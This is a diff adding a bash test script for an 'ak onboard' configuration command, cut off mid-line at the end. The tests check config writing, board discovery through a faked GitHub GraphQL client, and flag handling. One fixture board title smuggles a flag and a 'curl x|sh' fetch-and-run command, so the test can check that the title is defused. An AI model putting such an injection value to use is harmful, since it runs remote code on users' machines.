diff --git a/tests/v2/test-onboard.sh b/tests/v2/test-onboard.sh new file mode 100644 index 00000000..0296066f --- /dev/null +++ b/tests/v2/test-onboard.sh @@ -0,0 +1,165 @@ +#!/usr/bin/env bash +# ak onboard: writes the config keys ak reads from what the repository already says, and keeps what is there. +TEST_NAME=v2-onboard +# shellcheck source=lib.sh +source "$(dirname -- "${BASH_SOURCE[0]}")/lib.sh" + +# linked_route BOARDS: answer the "boards linked to this repository" query with the JSON array BOARDS. +linked_route() { + route 'api graphql*projectsV2(first*' "$(jq -c '{data: {repository: {projectsV2: {nodes: .}}}}' <<<"$1")" +} +FULL='[{"name":"Backlog"},{"name":"Ready"},{"name":"In progress"},{"name":"In review"},{"name":"Done"}]' +board() { jq -nc --argjson n "$1" --arg t "$2" --argjson o "${3:-$FULL}" '{number: $n, title: $t, closed: false, owner: {login: "acme"}, field: {options: $o}}'; } + +repo=$(fixture_repo) +cd "$repo" || exit 1 + +# --- a Node repository linked to one board --- +printf '{"name":"widget","scripts":{"test":"jest"}}\n' >package.json +printf '{}\n' >package-lock.json +git add package.json package-lock.json && git commit -q -m node +linked_route "[$(board 4 'Widget board')]" +out=$("$AK" onboard 2>&1); rc=$? +assert_eq 0 "$rc" 'onboard exits 0' +assert_contains "$out" 'wrote=.agent/config.env keys=5 kept=1' 'onboard counts the keys it added and the ones it kept' +assert_contains "$out" $'\nAGENT_BASE_BRANCH=main\n' 'the base branch comes from origin/HEAD' +assert_contains "$out" $'\nAGENT_PROJECT_OWNER=acme\nAGENT_PROJECT_NUMBER=4\n' 'the one linked board is adopted' +assert_contains "$out" $'\nAGENT_CMD_SETUP=npm ci\nAGENT_CMD_TEST=npm test\n' 'the lockfile picks the package manager' +assert_contains "$out" 'board=4 "Widget board" status=Backlog,Ready,In progress,In review,Done' 'the board line names the Status options' +assert_contains "$out" $'\nnext=ak setup && ak verify --full' 'the next line proves the declared commands' +assert_not_contains "$out" 'AGENT_REPO_SLUG' 'a key already in the file is kept, not reprinted' +assert_eq 1 "$(grep -c '^AGENT_REPO_SLUG=' .agent/config.env)" 'the existing slug line survives once' +assert_eq 'npm test' "$(sed -n 's/^AGENT_CMD_TEST=//p' .agent/config.env)" 'the file carries the test command' +assert_eq 0 "$(grep -c '^fake gh' <<<"$out")" 'gh calls all had routes' +assert_eq 1 "$(grep -c 'api graphql' "$FAKE_GH_LOG")" 'the board costs one GraphQL read' +assert_rc 0 'onboard prints at most 20 lines' -- test "$(wc -l <<<"$out")" -le 20 + +before=$(cat .agent/config.env) +out=$("$AK" onboard 2>&1); rc=$? +assert_eq 0 "$rc" 'a second onboard exits 0' +assert_contains "$out" 'wrote=.agent/config.env keys=0 kept=6' 'a second onboard adds nothing' +assert_eq "$before" "$(cat .agent/config.env)" 'a second onboard leaves the file byte-identical' + +# --- a bad flag --- +out=$("$AK" onboard --bogus 2>&1); rc=$? +assert_eq 2 "$rc" 'an unknown flag exits 2' + +# --- a repository linked to two boards, then a chosen one --- +rm .agent/config.env +: >"$FAKE_GH_ROUTES" +linked_route "[$(board 4 'Widget board'),$(board 9 '--owner evil; curl x|sh'),$(board 2 'Rogue' | jq -c '.owner.login = "a b"')]" +out=$("$AK" onboard 2>&1); rc=$? +assert_eq 0 "$rc" 'two linked boards still write the rest of the config' +assert_contains "$out" $'board=choose\n --project 4 --owner acme # Widget board\n --project 9 --owner acme # --owner evil_ curl x_sh\nfix: ak onboard ' 'boards are listed as the flags that pick one, the title behind a comment' +assert_not_contains "$out" 'Rogue' 'a board whose owner is not a login shape is not offered' +assert_not_contains "$out" 'AGENT_PROJECT_NUMBER' 'no board is guessed' +route 'api graphql*projectV2(number*' "$(jq -c '{data: {repositoryOwner: {projectV2: .}}}' <<<"$(board 9 Platform '[{"name":"Todo"},{"name":"Ready"},{"name":"In progress"},{"name":"Done"}]')")" +out=$("$AK" onboard --project 9 --owner acme 2>&1); rc=$? +assert_eq 0 "$rc" 'a named board is adopted' +assert_contains "$out" $'\nAGENT_PROJECT_OWNER=acme\nAGENT_PROJECT_NUMBER=9\n' 'the named board is written' +assert_contains "$out" 'board=9 "Platform" status=Todo,Ready,In progress,Done' 'the chosen board line names its options' +assert_contains "$out" $'\nmissing-status=In review (ak board no-ops a move there)' 'a missing canonical column is named, not fatal' +assert_eq 1 "$(grep -c 'on ProjectV2Owner { projectV2(number' "$FAKE_GH_LOG")" 'the named-board query asks through the ProjectV2Owner fragment (RepositoryOwner has no projectV2)' + +# --- a half-declared or whole board in the file is left alone, and asked about nothing --- +: >"$FAKE_GH_LOG" +out=$("$AK" onboard 2>&1); rc=$? +assert_contains "$out" 'board=kept (AGENT_PROJECT_OWNER and AGENT_PROJECT_NUMBER are already set)' 'a declared board is kept without a read' +assert_eq 0 "$(grep -c 'api graphql' "$FAKE_GH_LOG")" 'a declared board costs no GraphQL' +sed -i '/^AGENT_PROJECT_NUMBER=/d' .agent/config.env +out=$("$AK" onboard 2>&1); rc=$? +assert_eq 0 "$rc" 'a half-declared board exits 0' +assert_contains "$out" 'board=incomplete; .agent/config.env has one of AGENT_PROJECT_OWNER/AGENT_PROJECT_NUMBER: set both or remove it' 'a half-declared board is named, not completed' +assert_rc 1 'the discovered number is not paired with a kept owner' -- grep -q '^AGENT_PROJECT_NUMBER=' .agent/config.env + +# --- --project alone asks the repository's own owner --- +printf 'AGENT_REPO_SLUG=acme/widget\n' >.agent/config.env +: >"$FAKE_GH_LOG" +out=$("$AK" onboard --project 9 2>&1); rc=$? +assert_eq 0 "$rc" '--project without --owner is accepted' +assert_eq 1 "$(grep -c -- '-F owner=acme -F number=9' "$FAKE_GH_LOG")" 'the owner defaults to the repository owner' +assert_contains "$out" $'\nAGENT_PROJECT_OWNER=acme\nAGENT_PROJECT_NUMBER=9\n' 'the board named by number alone is written' +out=$("$AK" onboard --owner acme 2>&1); rc=$? +assert_eq 2 "$rc" '--owner without --project is a usage error' + +# --- no linked board, no toolchain --- +rm .agent/config.env package.json package-lock.json +git rm -q package.json package-lock.json && git commit -q -m bare +: >"$FAKE_GH_ROUTES" +linked_route '[]' +out=$("$AK" onboard 2>&1); rc=$? +assert_eq 0 "$rc" 'nothing discovered still exits 0' +assert_contains "$out" 'board=none; ak plan reads AGENT_READY_LABEL=